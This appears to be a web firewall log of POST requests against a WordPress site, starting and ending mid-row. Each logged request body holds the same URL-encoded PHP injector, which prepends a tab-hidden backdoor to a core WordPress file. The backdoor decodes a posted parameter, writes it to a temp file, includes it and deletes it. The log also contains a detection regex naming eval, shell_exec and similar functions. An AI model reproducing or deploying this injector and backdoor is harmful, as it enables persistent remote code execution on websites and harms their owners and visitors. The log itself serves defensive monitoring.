%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:17","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Co:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4575\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD28vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nCo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:19","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:4575\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvraRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nzq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:21","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4598\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%